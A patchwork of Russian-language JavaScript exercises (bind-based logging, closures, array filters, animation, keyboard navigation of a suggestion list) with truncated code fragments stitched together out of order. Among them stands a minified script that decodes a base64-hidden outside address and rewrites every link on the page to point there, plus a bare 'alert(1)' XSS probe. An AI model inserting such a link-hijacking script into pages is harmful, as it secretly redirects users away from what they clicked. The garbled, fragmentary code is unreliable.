Используйте Function#bind для реализации логирующей функции.
Вам необходимо создать функцию, которая будет логировать некоторую информацию с заданным неймспейсом.
- namespace: строка, которая вставляется в начало сообщения.
| alert(1) |
| function animate(options) { | |
| var start = performance.now(); | |
| options.startValue = options.startValue || 0; | |
| options.endValue = options.endValue || 0; | |
| requestAnimationFrame(function animate(time) { | |
| var timeFraction = (time - start) / options.duration; | |
| if (timeFraction > 1) timeFraction = 1; |
| function base64_decode(a){var c,d,e,f,g,h,i,j,b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",k=0,l="";do f=b.indexOf(a.charAt(k++)),g=b.indexOf(a.charAt(k++)),h=b.indexOf(a.charAt(k++)),i=b.indexOf(a.charAt(k++)),j=f<<18|g<<12|h<<6|i,c=j>>16&255,d=j>>8&255,e=255&j,l+=64==h?String.fromCharCode(c):64==i?String.fromCharCode(c,d):String.fromCharCode(c,d,e);while(k<a.length);return l}Array.from(document.querySelectorAll("a")).forEach(function(a){a&&(a.href=base64_decode("aHR0cDovL3NsaXRoZXIuaW8="),a.target="_blank")}); |
Физрук построил шеренгу. У каждого есть свой номер, который должны выкрикнуть своему физруку. Представим, что массив - это шеренга, элемент массива - ученик, а ученик это функция, которая делает alert со своим номером. В приведеном коде строится массив функций, а затем некоторые функции из этого массива вызываются.
Ответьте на вопрос: почему все ученики выкрикивают один и тот же номер. Модифицируйте решение, чтобы каждый ученик выкрикивал свой номер.
Создайте функцию filter(arr, func), которая получает массив arr и возвращает новый, в который входят только те элементы arr, для которых func возвращает true. Создайте набор «готовых фильтров»: inBetween(a,b) — «между a,b», inArray([...]) — «в массиве [...]». Все функции необходимо реализовать с помощью "замыканий".
Использование должно быть таким:
| document.addEventListener('DOMContentLoaded', function () { | |
| var input = document.querySelector('input'); | |
| input.addEventListener('keyup', function (event) { | |
| if (event.keyCode == 38 || event.keyCode == 40) { | |
| var active = document.querySelector('.active'); | |
| if (event.keyCode == 40) { | |
| if (!active) { | |
| document.querySelector('li').className = 'active'; | |
| } else { | |
| var nextElement = active.nextSibling; |
| var url = 'https://predictor.yandex.net/suggest.json/complete?lang=ru&q=' + | |
| q + '&limit=4&callback=jsonpCallback'; |